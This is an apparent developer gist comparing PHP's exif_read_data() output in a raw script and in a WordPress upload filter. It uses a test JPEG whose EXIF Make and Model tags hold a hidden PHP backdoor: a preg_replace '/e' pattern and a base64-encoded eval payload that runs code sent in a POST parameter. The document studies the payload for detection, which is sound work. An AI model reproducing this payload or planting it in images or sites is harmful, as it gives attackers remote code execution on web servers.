Differences on exif_read_data() between raw PHP and WordPress 'wp_handle_upload_prefilter' filter. Raw PHP call will return $exif['Make'] and $exif['Model'] while WordPress filtered upload will set $exif['IFD0']['Make'] and $exif['IFD0']['Model']

test-raw.php

<?php
print_r( exif_read_data( 'sucuri-test.jpg' ) );

/*
Array
(
    [FileName] => sucuri-test.jpg
    [FileDateTime] => 1374009774
    [FileSize] => 38936
    [FileType] => 2
    [MimeType] => image/jpeg
    [SectionsFound] => ANY_TAG, IFD0, COMMENT
    [COMPUTED] => Array
        (
            [html] => width="420" height="420"
            [Height] => 420
            [Width] => 420
            [IsColor] => 1
            [ByteOrderMotorola] => 1
        )

    [Make] => /.*/e
    [Model] => @ eval ( base64_decode('aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
    [XResolution] => 1/1
    [YResolution] => 1/1
    [ResolutionUnit] => 1
    [YCbCrPositioning] => 1
    [COMMENT] => Array
        (
            [0] => CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90

        )

)

*/

test-wp.php

add_filter( 'wp_handle_upload_prefilter', 'wp_handle_upload_prefilter' );

function wp_handle_upload_prefilter( $meta ){
  $exif_data = exif_read_data( $meta['tmp_name'], 0, true );	
  error_log( json_encode( $exif_data ) );
}

/*
{
"FILE":{
  "FileName":"phpo0xRNz",
  "FileDateTime":1374014899,
  "FileSize":38936,
  "FileType":2,
  "MimeType":"image\/jpeg",
  "SectionsFound":"ANY_TAG, IFD0, COMMENT"
  },
"COMPUTED":{
  "html":"width=\"420\" height=\"420\"",
  "Height":420,
  "Width":420,
  "IsColor":1,
  "ByteOrderMotorola":1
},
"IFD0":{
  "Make":"\/.*\/e",
  "Model":"@ eval ( base64_decode('aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));",
  "XResolution":"1\/1",
  "YResolution":"1\/1",
  "ResolutionUnit":1,
  "YCbCrPositioning":1
},
"COMMENT":["CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90\n"]
}
*/